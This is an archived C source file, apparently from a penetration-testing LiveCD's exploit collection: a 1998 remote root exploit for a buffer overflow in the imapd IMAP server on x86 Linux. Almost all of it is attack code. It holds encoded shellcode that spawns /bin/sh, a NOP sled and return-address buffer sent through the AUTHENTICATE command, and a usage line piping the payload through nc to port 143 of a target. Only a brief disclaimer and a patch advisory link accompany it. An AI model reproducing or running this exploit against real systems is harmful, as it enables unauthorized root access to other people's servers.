home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / imapd-ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  93 lines

  1. /*
  2.  
  3.     Imapd exploit code for x86 linux
  4.  
  5.     Remote user can gain root access.
  6.     Tested redhat linux : 4.1 , 4.2 and 5.0
  7.     Tested imapd version : 9.0 , 10.166 , 10.190 , 10.205 and 10.223
  8.  
  9.     Usage
  10.     $ ( imapd-ex 0 ; cat ) | nc target.com 143
  11.                  |
  12.                  +------ try from -3000 to 3000 ( try in steps of 500 )
  13.  
  14.     How to patch imapd buffer overflow bug
  15.     See http://www.cert.org/advisories/CA-98.09.imapd.html
  16.  
  17.     This program is only for demonstrative use only.
  18.     USE IT AT YOUR OWN RISK!
  19.  
  20.     Programmed by Taeho Oh 1998/09/23
  21.  
  22. Taeho Oh ( ohhara@postech.ac.kr )                http://ohhara.postech.ac.kr
  23.  
  24. */
  25.  
  26. #include<stdio.h>
  27. #include<stdlib.h>
  28.  
  29. #define OFFSET                            0
  30. #define RET_POSITION                   1032
  31. #define RANGE                            20
  32. #define NOP                            0x90
  33.  
  34. char shellcode[1024]=
  35.     "\xeb\x38"                      /* jmp 0x38             */
  36.     "\x5e"                          /* popl %esi            */
  37.     "\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi) */
  38.     "\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi) */
  39.     "\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi) */
  40.     "\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi) */
  41.     "\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi) */
  42.     "\x89\xf0"                      /* movl %esi,%eax       */
  43.     "\x83\xc0\x08"                  /* addl $0x8,%eax       */
  44.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)  */
  45.     "\x31\xc0"                      /* xorl %eax,%eax       */
  46.     "\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
  47.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)  */
  48.     "\xb0\x0b"                      /* movb $0xb,%al        */
  49.     "\x89\xf3"                      /* movl %esi,%ebx       */
  50.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx  */
  51.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx  */
  52.     "\xcd\x80"                      /* int $0x80            */
  53.     "\x31\xdb"                      /* xorl %ebx,%ebx       */
  54.     "\x89\xd8"                      /* movl %ebx,%eax       */
  55.     "\x40"                          /* inc %eax             */
  56.     "\xcd\x80"                      /* int $0x80            */
  57.     "\xe8\xc3\xff\xff\xff"          /* call -0x3d           */
  58.     "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"    */ /* /bin/sh is disguised */
  59.  
  60. void main(int argc,char **argv)
  61. {
  62.     char buff[RET_POSITION+RANGE+1],*ptr;
  63.     long *addr_ptr,addr;
  64.     unsigned long sp;
  65.     int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
  66.     int i;
  67.  
  68.     if(argc>1)
  69.         offset=atoi(argv[1]);
  70.  
  71.     sp=0xbffff29f;
  72.     addr=sp-offset;
  73.  
  74.     ptr=buff;
  75.     addr_ptr=(long*)ptr;
  76.     for(i=0;i<bsize;i+=4)
  77.         *(addr_ptr++)=addr;
  78.  
  79.     for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
  80.         buff[i]=NOP;
  81.  
  82.     ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  83.     for(i=0;i<strlen(shellcode);i++)
  84.         *(ptr++)=shellcode[i];
  85.  
  86.     buff[bsize-1]='\0';
  87.  
  88.     printf("* AUTHENTICATE {%d}\r\n",bsize);
  89.     for(i=0;i<bsize;i++)
  90.         putchar(buff[i]);
  91.     printf("\r\n");
  92. }
  93.